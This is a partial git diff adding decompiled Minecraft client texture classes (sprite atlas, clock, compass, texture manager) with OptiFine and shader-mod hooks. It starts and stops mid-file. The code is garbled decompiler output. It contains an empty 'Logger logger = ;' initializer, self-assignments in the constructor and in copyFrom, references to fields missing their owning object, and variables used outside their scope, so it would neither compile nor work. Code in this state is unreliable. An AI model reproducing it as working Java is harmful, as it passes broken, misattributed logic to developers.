+            int var6 = Math.max(height, var8);
+            int var7 = Math.max(width, var9);
+            
+            if (var6 >= var7)
+            {
+              subSlots.add(new Slot(originX, originY + var3, var2, var9));
+              subSlots.add(new Slot(originX + var2, originY, var8, height));
+            }
+            else
+            {
+              subSlots.add(new Slot(originX + var2, originY, var8, var3));
+              subSlots.add(new Slot(originX, originY + var3, width, var9));
+            }
+          }
+          else if (var8 == 0)
+          {
+            subSlots.add(new Slot(originX, originY + var3, var2, var9));
+          }
+          else if (var9 == 0)
+          {
+            subSlots.add(new Slot(originX + var2, originY, var8, var3));
+          }
+        }
+        
+        Iterator var81 = subSlots.iterator();
+        
+        while (var81.hasNext())
+        {
+          Slot var91 = (Slot)var81.next();
+          
+          if (var91.addSlot(p_94182_1_))
+          {
+            return true;
+          }
+        }
+        
+        return false;
+      }
+      
+
+
+      return false;
+    }
+    
+
+
+    public void getAllStitchSlots(List p_94184_1_)
+    {
+      if (holder != null)
+      {
+        p_94184_1_.add(this);
+      }
+      else if (subSlots != null)
+      {
+        Iterator var2 = subSlots.iterator();
+        
+        while (var2.hasNext())
+        {
+          Slot var3 = (Slot)var2.next();
+          var3.getAllStitchSlots(p_94184_1_);
+        }
+      }
+    }
+    
+    public String toString()
+    {
+      return "Slot{originX=" + originX + ", originY=" + originY + ", width=" + width + ", height=" + height + ", texture=" + holder + ", subSlots=" + subSlots + '}';
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/TextureAtlasSprite.java b/src/minecraft/net/minecraft/client/renderer/texture/TextureAtlasSprite.java
new file mode 100644
index 0000000..a871d3b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/TextureAtlasSprite.java
@@ -0,0 +1,664 @@
+package net.minecraft.client.renderer.texture;
+
+import com.google.common.collect.Lists;
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.data.AnimationFrame;
+import net.minecraft.client.resources.data.AnimationMetadataSection;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.TextureUtils;
+import shadersmod.client.ShadersTex;
+
+public class TextureAtlasSprite
+{
+  private final String iconName;
+  protected List framesTextureData = Lists.newArrayList();
+  protected int[][] field_176605_b;
+  private AnimationMetadataSection animationMetadata;
+  protected boolean rotated;
+  protected int originX;
+  protected int originY;
+  protected int width;
+  protected int height;
+  private float minU;
+  private float maxU;
+  private float minV;
+  private float maxV;
+  protected int frameCounter;
+  protected int tickCounter;
+  private static String field_176607_p = "builtin/clock";
+  private static String field_176606_q = "builtin/compass";
+  private static final String __OBFID = "CL_00001062";
+  private int indexInMap = -1;
+  public float baseU;
+  public float baseV;
+  public int sheetWidth;
+  public int sheetHeight;
+  public int glSpriteTextureId = -1;
+  public TextureAtlasSprite spriteSingle = null;
+  public boolean isSpriteSingle = false;
+  public int mipmapLevels = 0;
+  
+  private TextureAtlasSprite(TextureAtlasSprite parent)
+  {
+    iconName = iconName;
+    isSpriteSingle = true;
+  }
+  
+  protected TextureAtlasSprite(String p_i1282_1_)
+  {
+    iconName = p_i1282_1_;
+    
+    if (Config.isMultiTexture())
+    {
+      spriteSingle = new TextureAtlasSprite(this);
+    }
+  }
+  
+  protected static TextureAtlasSprite func_176604_a(ResourceLocation p_176604_0_)
+  {
+    String var1 = p_176604_0_.toString();
+    return field_176606_q.equals(var1) ? new TextureCompass(var1) : field_176607_p.equals(var1) ? new TextureClock(var1) : new TextureAtlasSprite(var1);
+  }
+  
+  public static void func_176602_a(String p_176602_0_)
+  {
+    field_176607_p = p_176602_0_;
+  }
+  
+  public static void func_176603_b(String p_176603_0_)
+  {
+    field_176606_q = p_176603_0_;
+  }
+  
+  public void initSprite(int p_110971_1_, int p_110971_2_, int p_110971_3_, int p_110971_4_, boolean p_110971_5_)
+  {
+    originX = p_110971_3_;
+    originY = p_110971_4_;
+    rotated = p_110971_5_;
+    float var6 = (float)(0.009999999776482582D / p_110971_1_);
+    float var7 = (float)(0.009999999776482582D / p_110971_2_);
+    minU = (p_110971_3_ / (float)p_110971_1_ + var6);
+    maxU = ((p_110971_3_ + width) / (float)p_110971_1_ - var6);
+    minV = (p_110971_4_ / p_110971_2_ + var7);
+    maxV = ((p_110971_4_ + height) / p_110971_2_ - var7);
+    baseU = Math.min(minU, maxU);
+    baseV = Math.min(minV, maxV);
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.initSprite(width, height, 0, 0, false);
+    }
+  }
+  
+  public void copyFrom(TextureAtlasSprite p_94217_1_)
+  {
+    originX = originX;
+    originY = originY;
+    width = width;
+    height = height;
+    rotated = rotated;
+    minU = minU;
+    maxU = maxU;
+    minV = minV;
+    maxV = maxV;
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.initSprite(width, height, 0, 0, false);
+    }
+  }
+  
+
+
+
+  public int getOriginX()
+  {
+    return originX;
+  }
+  
+
+
+
+  public int getOriginY()
+  {
+    return originY;
+  }
+  
+
+
+
+  public int getIconWidth()
+  {
+    return width;
+  }
+  
+
+
+
+  public int getIconHeight()
+  {
+    return height;
+  }
+  
+
+
+
+  public float getMinU()
+  {
+    return minU;
+  }
+  
+
+
+
+  public float getMaxU()
+  {
+    return maxU;
+  }
+  
+
+
+
+  public float getInterpolatedU(double p_94214_1_)
+  {
+    float var3 = maxU - minU;
+    return minU + var3 * (float)p_94214_1_ / 16.0F;
+  }
+  
+
+
+
+  public float getMinV()
+  {
+    return minV;
+  }
+  
+
+
+
+  public float getMaxV()
+  {
+    return maxV;
+  }
+  
+
+
+
+  public float getInterpolatedV(double p_94207_1_)
+  {
+    float var3 = maxV - minV;
+    return minV + var3 * ((float)p_94207_1_ / 16.0F);
+  }
+  
+  public String getIconName()
+  {
+    return iconName;
+  }
+  
+  public void updateAnimation()
+  {
+    tickCounter += 1;
+    
+    if (tickCounter >= animationMetadata.getFrameTimeSingle(frameCounter))
+    {
+      int var1 = animationMetadata.getFrameIndex(frameCounter);
+      int var2 = animationMetadata.getFrameCount() == 0 ? framesTextureData.size() : animationMetadata.getFrameCount();
+      frameCounter = ((frameCounter + 1) % var2);
+      tickCounter = 0;
+      int var3 = animationMetadata.getFrameIndex(frameCounter);
+      boolean texBlur = false;
+      boolean texClamp = isSpriteSingle;
+      
+      if ((var1 != var3) && (var3 >= 0) && (var3 < framesTextureData.size()))
+      {
+        if (Config.isShaders())
+        {
+          ShadersTex.uploadTexSub((int[][])framesTextureData.get(var3), width, height, originX, originY, texBlur, texClamp);
+        }
+        else
+        {
+          TextureUtil.uploadTextureMipmap((int[][])framesTextureData.get(var3), width, height, originX, originY, texBlur, texClamp);
+        }
+      }
+    }
+    else if (animationMetadata.func_177219_e())
+    {
+      func_180599_n();
+    }
+  }
+  
+  private void func_180599_n()
+  {
+    double var1 = 1.0D - tickCounter / animationMetadata.getFrameTimeSingle(frameCounter);
+    int var3 = animationMetadata.getFrameIndex(frameCounter);
+    int var4 = animationMetadata.getFrameCount() == 0 ? framesTextureData.size() : animationMetadata.getFrameCount();
+    int var5 = animationMetadata.getFrameIndex((frameCounter + 1) % var4);
+    
+    if ((var3 != var5) && (var5 >= 0) && (var5 < framesTextureData.size()))
+    {
+      int[][] var6 = (int[][])framesTextureData.get(var3);
+      int[][] var7 = (int[][])framesTextureData.get(var5);
+      
+      if ((field_176605_b == null) || (field_176605_b.length != var6.length))
+      {
+        field_176605_b = new int[var6.length][];
+      }
+      
+      for (int var8 = 0; var8 < var6.length; var8++)
+      {
+        if (field_176605_b[var8] == null)
+        {
+          field_176605_b[var8] = new int[var6[var8].length];
+        }
+        
+        if ((var8 < var7.length) && (var7[var8].length == var6[var8].length))
+        {
+          for (int var9 = 0; var9 < var6[var8].length; var9++)
+          {
+            int var10 = var6[var8][var9];
+            int var11 = var7[var8][var9];
+            int var12 = (int)(((var10 & 0xFF0000) >> 16) * var1 + ((var11 & 0xFF0000) >> 16) * (1.0D - var1));
+            int var13 = (int)(((var10 & 0xFF00) >> 8) * var1 + ((var11 & 0xFF00) >> 8) * (1.0D - var1));
+            int var14 = (int)((var10 & 0xFF) * var1 + (var11 & 0xFF) * (1.0D - var1));
+            field_176605_b[var8][var9] = (var10 & 0xFF000000 | var12 << 16 | var13 << 8 | var14);
+          }
+        }
+      }
+      
+      TextureUtil.uploadTextureMipmap(field_176605_b, width, height, originX, originY, false, false);
+    }
+  }
+  
+  public int[][] getFrameTextureData(int p_147965_1_)
+  {
+    return (int[][])framesTextureData.get(p_147965_1_);
+  }
+  
+  public int getFrameCount()
+  {
+    return framesTextureData.size();
+  }
+  
+  public void setIconWidth(int p_110966_1_)
+  {
+    width = p_110966_1_;
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.setIconWidth(width);
+    }
+  }
+  
+  public void setIconHeight(int p_110969_1_)
+  {
+    height = p_110969_1_;
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.setIconHeight(height);
+    }
+  }
+  
+  public void func_180598_a(BufferedImage[] p_180598_1_, AnimationMetadataSection p_180598_2_) throws IOException
+  {
+    resetSprite();
+    int var3 = p_180598_1_[0].getWidth();
+    int var4 = p_180598_1_[0].getHeight();
+    width = var3;
+    height = var4;
+    int[][] var5 = new int[p_180598_1_.length][];
+    
+
+    for (int var6 = 0; var6 < p_180598_1_.length; var6++)
+    {
+      BufferedImage i = p_180598_1_[var6];
+      
+      if (i != null)
+      {
+        if ((var6 > 0) && ((i.getWidth() != var3 >> var6) || (i.getHeight() != var4 >> var6)))
+        {
+          throw new RuntimeException(String.format("Unable to load miplevel: %d, image is size: %dx%d, expected %dx%d", new Object[] { Integer.valueOf(var6), Integer.valueOf(i.getWidth()), Integer.valueOf(i.getHeight()), Integer.valueOf(var3 >> var6), Integer.valueOf(var4 >> var6) }));
+        }
+        
+        var5[var6] = new int[i.getWidth() * i.getHeight()];
+        i.getRGB(0, 0, i.getWidth(), i.getHeight(), var5[var6], 0, i.getWidth());
+      }
+    }
+    
+
+
+
+    if (p_180598_2_ == null)
+    {
+      if (var4 != var3)
+      {
+        throw new RuntimeException("broken aspect ratio and not an animation");
+      }
+      
+      framesTextureData.add(var5);
+    }
+    else
+    {
+      var6 = var4 / var3;
+      int var11 = var3;
+      int datas = var3;
+      height = width;
+      
+      if (p_180598_2_.getFrameCount() > 0)
+      {
+        Iterator data = p_180598_2_.getFrameIndexSet().iterator();
+        
+        while (data.hasNext())
+        {
+          int di = ((Integer)data.next()).intValue();
+          
+          if (di >= var6)
+          {
+            throw new RuntimeException("invalid frameindex " + di);
+          }
+          
+          allocateFrameTextureData(di);
+          framesTextureData.set(di, getFrameTextureData(var5, var11, datas, di));
+        }
+        
+        animationMetadata = p_180598_2_;
+      }
+      else
+      {
+        ArrayList var13 = Lists.newArrayList();
+        
+        for (int di = 0; di < var6; di++)
+        {
+          framesTextureData.add(getFrameTextureData(var5, var11, datas, di));
+          var13.add(new AnimationFrame(di, -1));
+        }
+        
+        animationMetadata = new AnimationMetadataSection(var13, width, height, p_180598_2_.getFrameTime(), p_180598_2_.func_177219_e());
+      }
+    }
+    
+    for (int var11 = 0; var11 < framesTextureData.size(); var11++)
+    {
+      int[][] var12 = (int[][])framesTextureData.get(var11);
+      
+      if ((var12 != null) && (!iconName.startsWith("minecraft:blocks/leaves_")))
+      {
+        for (int di = 0; di < var12.length; di++)
+        {
+          int[] var14 = var12[di];
+          fixTransparentColor(var14);
+        }
+      }
+    }
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.func_180598_a(p_180598_1_, p_180598_2_);
+    }
+  }
+  
+  public void generateMipmaps(int p_147963_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    
+    for (int var3 = 0; var3 < framesTextureData.size(); var3++)
+    {
+      final int[][] var4 = (int[][])framesTextureData.get(var3);
+      
+      if (var4 != null)
+      {
+        try
+        {
+          var2.add(TextureUtil.generateMipmapData(p_147963_1_, width, var4));
+        }
+        catch (Throwable var8)
+        {
+          CrashReport var6 = CrashReport.makeCrashReport(var8, "Generating mipmaps for frame");
+          CrashReportCategory var7 = var6.makeCategory("Frame being iterated");
+          var7.addCrashSection("Frame index", Integer.valueOf(var3));
+          var7.addCrashSectionCallable("Frame sizes", new Callable()
+          {
+            private static final String __OBFID = "CL_00001063";
+            
+            public String call() {
+              StringBuilder var1 = new StringBuilder();
+              int[][] var2 = var4;
+              int var3 = var2.length;
+              
+              for (int var4x = 0; var4x < var3; var4x++)
+              {
+                int[] var5 = var2[var4x];
+                
+                if (var1.length() > 0)
+                {
+                  var1.append(", ");
+                }
+                
+                var1.append(var5 == null ? "null" : Integer.valueOf(var5.length));
+              }
+              
+              return var1.toString();
+            }
+          });
+          throw new net.minecraft.util.ReportedException(var6);
+        }
+      }
+    }
+    
+    setFramesTextureData(var2);
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.generateMipmaps(p_147963_1_);
+    }
+  }
+  
+  private void allocateFrameTextureData(int p_130099_1_)
+  {
+    if (framesTextureData.size() <= p_130099_1_)
+    {
+      for (int var2 = framesTextureData.size(); var2 <= p_130099_1_; var2++)
+      {
+        framesTextureData.add(null);
+      }
+    }
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.allocateFrameTextureData(p_130099_1_);
+    }
+  }
+  
+  private static int[][] getFrameTextureData(int[][] p_147962_0_, int p_147962_1_, int p_147962_2_, int p_147962_3_)
+  {
+    int[][] var4 = new int[p_147962_0_.length][];
+    
+    for (int var5 = 0; var5 < p_147962_0_.length; var5++)
+    {
+      int[] var6 = p_147962_0_[var5];
+      
+      if (var6 != null)
+      {
+        var4[var5] = new int[(p_147962_1_ >> var5) * (p_147962_2_ >> var5)];
+        System.arraycopy(var6, p_147962_3_ * var4[var5].length, var4[var5], 0, var4[var5].length);
+      }
+    }
+    
+    return var4;
+  }
+  
+  public void clearFramesTextureData()
+  {
+    framesTextureData.clear();
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.clearFramesTextureData();
+    }
+  }
+  
+  public boolean hasAnimationMetadata()
+  {
+    return animationMetadata != null;
+  }
+  
+  public void setFramesTextureData(List p_110968_1_)
+  {
+    framesTextureData = p_110968_1_;
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.setFramesTextureData(p_110968_1_);
+    }
+  }
+  
+  private void resetSprite()
+  {
+    animationMetadata = null;
+    setFramesTextureData(Lists.newArrayList());
+    frameCounter = 0;
+    tickCounter = 0;
+    
+    if (spriteSingle != null)
+    {
+      spriteSingle.resetSprite();
+    }
+  }
+  
+  public String toString()
+  {
+    return "TextureAtlasSprite{name='" + iconName + '\'' + ", frameCount=" + framesTextureData.size() + ", rotated=" + rotated + ", x=" + originX + ", y=" + originY + ", height=" + height + ", width=" + width + ", u0=" + minU + ", u1=" + maxU + ", v0=" + minV + ", v1=" + maxV + '}';
+  }
+  
+  public boolean hasCustomLoader(IResourceManager manager, ResourceLocation location)
+  {
+    return false;
+  }
+  
+  public boolean load(IResourceManager manager, ResourceLocation location)
+  {
+    return true;
+  }
+  
+  public int getIndexInMap()
+  {
+    return indexInMap;
+  }
+  
+  public void setIndexInMap(int indexInMap)
+  {
+    this.indexInMap = indexInMap;
+  }
+  
+  private void fixTransparentColor(int[] data)
+  {
+    if (data != null)
+    {
+      long redSum = 0L;
+      long greenSum = 0L;
+      long blueSum = 0L;
+      long count = 0L;
+      
+
+
+
+
+
+
+      for (int redAvg = 0; redAvg < data.length; redAvg++)
+      {
+        int greenAvg = data[redAvg];
+        int blueAvg = greenAvg >> 24 & 0xFF;
+        
+        if (blueAvg >= 16)
+        {
+          int colAvg = greenAvg >> 16 & 0xFF;
+          int i = greenAvg >> 8 & 0xFF;
+          int col = greenAvg & 0xFF;
+          redSum += colAvg;
+          greenSum += i;
+          blueSum += col;
+          count += 1L;
+        }
+      }
+      
+      if (count > 0L)
+      {
+        redAvg = (int)(redSum / count);
+        int greenAvg = (int)(greenSum / count);
+        int blueAvg = (int)(blueSum / count);
+        int colAvg = redAvg << 16 | greenAvg << 8 | blueAvg;
+        
+        for (int i = 0; i < data.length; i++)
+        {
+          int col = data[i];
+          int alpha = col >> 24 & 0xFF;
+          
+          if (alpha <= 16)
+          {
+            data[i] = colAvg;
+          }
+        }
+      }
+    }
+  }
+  
+  public double getSpriteU16(float atlasU)
+  {
+    float dU = maxU - minU;
+    return (atlasU - minU) / dU * 16.0F;
+  }
+  
+  public double getSpriteV16(float atlasV)
+  {
+    float dV = maxV - minV;
+    return (atlasV - minV) / dV * 16.0F;
+  }
+  
+  public void bindSpriteTexture()
+  {
+    if (glSpriteTextureId < 0)
+    {
+      glSpriteTextureId = TextureUtil.glGenTextures();
+      TextureUtil.func_180600_a(glSpriteTextureId, mipmapLevels, width, height);
+      TextureUtils.applyAnisotropicLevel();
+    }
+    
+    TextureUtils.bindTexture(glSpriteTextureId);
+  }
+  
+  public void deleteSpriteTexture()
+  {
+    if (glSpriteTextureId >= 0)
+    {
+      TextureUtil.deleteTexture(glSpriteTextureId);
+      glSpriteTextureId = -1;
+    }
+  }
+  
+  public float toSingleU(float u)
+  {
+    u -= baseU;
+    float ku = sheetWidth / width;
+    u *= ku;
+    return u;
+  }
+  
+  public float toSingleV(float v)
+  {
+    v -= baseV;
+    float kv = sheetHeight / height;
+    v *= kv;
+    return v;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/TextureClock.java b/src/minecraft/net/minecraft/client/renderer/texture/TextureClock.java
new file mode 100644
index 0000000..11624cd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/TextureClock.java
@@ -0,0 +1,75 @@
+package net.minecraft.client.renderer.texture;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.world.WorldProvider;
+
+public class TextureClock extends TextureAtlasSprite
+{
+  private double field_94239_h;
+  private double field_94240_i;
+  private static final String __OBFID = "CL_00001070";
+  
+  public TextureClock(String p_i1285_1_)
+  {
+    super(p_i1285_1_);
+  }
+  
+  public void updateAnimation()
+  {
+    if (!framesTextureData.isEmpty())
+    {
+      Minecraft var1 = Minecraft.getMinecraft();
+      double var2 = 0.0D;
+      
+      if ((theWorld != null) && (thePlayer != null))
+      {
+        float var7 = theWorld.getCelestialAngle(1.0F);
+        var2 = var7;
+        
+        if (!theWorld.provider.isSurfaceWorld())
+        {
+          var2 = Math.random();
+        }
+      }
+      
+
+
+      for (double var71 = var2 - field_94239_h; var71 < -0.5D; var71 += 1.0D) {}
+      
+
+
+
+      while (var71 >= 0.5D)
+      {
+        var71 -= 1.0D;
+      }
+      
+      var71 = net.minecraft.util.MathHelper.clamp_double(var71, -1.0D, 1.0D);
+      field_94240_i += var71 * 0.1D;
+      field_94240_i *= 0.8D;
+      field_94239_h += field_94240_i;
+      
+
+      for (int var6 = (int)((field_94239_h + 1.0D) * framesTextureData.size()) % framesTextureData.size(); var6 < 0; var6 = (var6 + framesTextureData.size()) % framesTextureData.size()) {}
+      
+
+
+
+      if (var6 != frameCounter)
+      {
+        frameCounter = var6;
+        
+        if (optifine.Config.isShaders())
+        {
+          shadersmod.client.ShadersTex.uploadTexSub((int[][])framesTextureData.get(frameCounter), width, height, originX, originY, false, false);
+        }
+        else
+        {
+          TextureUtil.uploadTextureMipmap((int[][])framesTextureData.get(frameCounter), width, height, originX, originY, false, false);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/TextureCompass.java b/src/minecraft/net/minecraft/client/renderer/texture/TextureCompass.java
new file mode 100644
index 0000000..f31ee52
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/TextureCompass.java
@@ -0,0 +1,109 @@
+package net.minecraft.client.renderer.texture;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import optifine.Config;
+import shadersmod.client.ShadersTex;
+
+public class TextureCompass extends TextureAtlasSprite
+{
+  public double currentAngle;
+  public double angleDelta;
+  public static String field_176608_l;
+  private static final String __OBFID = "CL_00001071";
+  
+  public TextureCompass(String p_i1286_1_)
+  {
+    super(p_i1286_1_);
+    field_176608_l = p_i1286_1_;
+  }
+  
+  public void updateAnimation()
+  {
+    Minecraft var1 = Minecraft.getMinecraft();
+    
+    if ((theWorld != null) && (thePlayer != null))
+    {
+      updateCompass(theWorld, thePlayer.posX, thePlayer.posZ, thePlayer.rotationYaw, false, false);
+    }
+    else
+    {
+      updateCompass(null, 0.0D, 0.0D, 0.0D, true, false);
+    }
+  }
+  
+
+
+
+  public void updateCompass(World worldIn, double p_94241_2_, double p_94241_4_, double p_94241_6_, boolean p_94241_8_, boolean p_94241_9_)
+  {
+    if (!framesTextureData.isEmpty())
+    {
+      double var10 = 0.0D;
+      
+      if ((worldIn != null) && (!p_94241_8_))
+      {
+        BlockPos var18 = worldIn.getSpawnPoint();
+        double var13 = var18.getX() - p_94241_2_;
+        double var15 = var18.getZ() - p_94241_4_;
+        p_94241_6_ %= 360.0D;
+        var10 = -((p_94241_6_ - 90.0D) * 3.141592653589793D / 180.0D - Math.atan2(var15, var13));
+        
+        if (!provider.isSurfaceWorld())
+        {
+          var10 = Math.random() * 3.141592653589793D * 2.0D;
+        }
+      }
+      
+      if (p_94241_9_)
+      {
+        currentAngle = var10;
+
+      }
+      else
+      {
+
+        for (double var181 = var10 - currentAngle; var181 < -3.141592653589793D; var181 += 6.283185307179586D) {}
+        
+
+
+
+        while (var181 >= 3.141592653589793D)
+        {
+          var181 -= 6.283185307179586D;
+        }
+        
+        var181 = MathHelper.clamp_double(var181, -1.0D, 1.0D);
+        angleDelta += var181 * 0.1D;
+        angleDelta *= 0.8D;
+        currentAngle += angleDelta;
+      }
+      
+
+
+      for (int var182 = (int)((currentAngle / 6.283185307179586D + 1.0D) * framesTextureData.size()) % framesTextureData.size(); var182 < 0; var182 = (var182 + framesTextureData.size()) % framesTextureData.size()) {}
+      
+
+
+
+      if (var182 != frameCounter)
+      {
+        frameCounter = var182;
+        
+        if (Config.isShaders())
+        {
+          ShadersTex.uploadTexSub((int[][])framesTextureData.get(frameCounter), width, height, originX, originY, false, false);
+        }
+        else
+        {
+          TextureUtil.uploadTextureMipmap((int[][])framesTextureData.get(frameCounter), width, height, originX, originY, false, false);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/TextureManager.java b/src/minecraft/net/minecraft/client/renderer/texture/TextureManager.java
new file mode 100644
index 0000000..3cd6640
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/TextureManager.java
@@ -0,0 +1,194 @@
+package net.minecraft.client.renderer.texture;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.RandomMobs;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import shadersmod.client.ShadersTex;
+
+public class TextureManager implements ITickable, IResourceManagerReloadListener
+{
+  private static final Logger logger = ;
+  private final Map mapTextureObjects = Maps.newHashMap();
+  private final List listTickables = Lists.newArrayList();
+  private final Map mapTextureCounters = Maps.newHashMap();
+  private IResourceManager theResourceManager;
+  private static final String __OBFID = "CL_00001064";
+  
+  public TextureManager(IResourceManager p_i1284_1_)
+  {
+    theResourceManager = p_i1284_1_;
+  }
+  
+  public void bindTexture(ResourceLocation resource)
+  {
+    if (Config.isRandomMobs())
+    {
+      resource = RandomMobs.getTextureLocation(resource);
+    }
+    
+    Object var2 = (ITextureObject)mapTextureObjects.get(resource);
+    
+    if (var2 == null)
+    {
+      var2 = new SimpleTexture(resource);
+      loadTexture(resource, (ITextureObject)var2);
+    }
+    
+    if (Config.isShaders())
+    {
+      ShadersTex.bindTexture((ITextureObject)var2);
+    }
+    else
+    {
+      TextureUtil.bindTexture(((ITextureObject)var2).getGlTextureId());
+    }
+  }
+  
+  public boolean loadTickableTexture(ResourceLocation p_110580_1_, ITickableTextureObject p_110580_2_)
+  {
+    if (loadTexture(p_110580_1_, p_110580_2_))
+    {
+      listTickables.add(p_110580_2_);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  public boolean loadTexture(ResourceLocation p_110579_1_, final ITextureObject p_110579_2_)
+  {
+    boolean var3 = true;
+    Object p_110579_2_2 = p_110579_2_;
+    
+    try
+    {
+      p_110579_2_.loadTexture(theResourceManager);
+    }
+    catch (IOException var8)
+    {
+      logger.warn("Failed to load texture: " + p_110579_1_, var8);
+      p_110579_2_2 = TextureUtil.missingTexture;
+      mapTextureObjects.put(p_110579_1_, p_110579_2_2);
+      var3 = false;
+    }
+    catch (Throwable var9)
+    {
+      CrashReport var5 = CrashReport.makeCrashReport(var9, "Registering texture");
+      CrashReportCategory var6 = var5.makeCategory("Resource location being registered");
+      var6.addCrashSection("Resource location", p_110579_1_);
+      var6.addCrashSectionCallable("Texture object class", new Callable()
+      {
+        private static final String __OBFID = "CL_00001065";
+        
+        public String call() {
+          return p_110579_2_.getClass().getName();
+        }
+      });
+      throw new ReportedException(var5);
+    }
+    
+    mapTextureObjects.put(p_110579_1_, p_110579_2_2);
+    return var3;
+  }
+  
+  public ITextureObject getTexture(ResourceLocation p_110581_1_)
+  {
+    return (ITextureObject)mapTextureObjects.get(p_110581_1_);
+  }
+  
+  public ResourceLocation getDynamicTextureLocation(String p_110578_1_, DynamicTexture p_110578_2_)
+  {
+    if (p_110578_1_.equals("logo"))
+    {
+      p_110578_2_ = Config.getMojangLogoTexture(p_110578_2_);
+    }
+    
+    Integer var3 = (Integer)mapTextureCounters.get(p_110578_1_);
+    
+    if (var3 == null)
+    {
+      var3 = Integer.valueOf(1);
+    }
+    else
+    {
+      var3 = Integer.valueOf(var3.intValue() + 1);
+    }
+    
+    mapTextureCounters.put(p_110578_1_, var3);
+    ResourceLocation var4 = new ResourceLocation(String.format("dynamic/%s_%d", new Object[] { p_110578_1_, var3 }));
+    loadTexture(var4, p_110578_2_);
+    return var4;
+  }
+  
+  public void tick()
+  {
+    Iterator var1 = listTickables.iterator();
+    
+    while (var1.hasNext())
+    {
+      ITickable var2 = (ITickable)var1.next();
+      var2.tick();
+    }
+  }
+  
+  public void deleteTexture(ResourceLocation p_147645_1_)
+  {
+    ITextureObject var2 = getTexture(p_147645_1_);
+    
+    if (var2 != null)
+    {
+      TextureUtil.deleteTexture(var2.getGlTextureId());
+    }
+  }
+  
+  public void onResourceManagerReload(IResourceManager resourceManager)
+  {
+    Config.dbg("*** Reloading textures ***");
+    Config.log("Resource packs: " + Config.getResourcePackNames());
+    Iterator it = mapTextureObjects.keySet().iterator();
+    
+    while (it.hasNext())
+    {
+      ResourceLocation var2 = (ResourceLocation)it.next();
+      
+      if (var2.getResourcePath().startsWith("mcpatcher/"))
+      {
+        ITextureObject var3 = (ITextureObject)mapTextureObjects.get(var2);
+        
+        if ((var3 instanceof AbstractTexture))
+        {
+          AbstractTexture at = (AbstractTexture)var3;
+          at.deleteGlTexture();
+        }
+        
+        it.remove();
+      }
+    }
+    
+    Iterator var21 = mapTextureObjects.entrySet().iterator();
+    
+    while (var21.hasNext())
+    {
+      Map.Entry var31 = (Map.Entry)var21.next();
+      loadTexture((ResourceLocation)var31.getKey(), (ITextureObject)var31.getValue());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/TextureMap.java b/src/minecraft/net/minecraft/client/renderer/texture/TextureMap.java
new file mode 100644
index 0000000..b4966dd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/TextureMap.java
@@ -0,0 +1,885 @@
+package net.minecraft.client.renderer.texture;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.awt.Dimension;
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.TreeSet;
+import java.util.concurrent.Callable;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.StitcherException;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.data.AnimationMetadataSection;
+import net.minecraft.client.resources.data.TextureMetadataSection;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.ConnectedTextures;
+import optifine.CustomItems;
+import optifine.Reflector;
+import optifine.ReflectorForge;
+import optifine.TextureUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import shadersmod.client.ShadersTex;
+
+public class TextureMap extends AbstractTexture implements ITickableTextureObject
+{
+  private static final Logger logger = ;
+  public static final ResourceLocation field_174945_f = new ResourceLocation("missingno");
+  public static final ResourceLocation locationBlocksTexture = new ResourceLocation("textures/atlas/blocks.png");
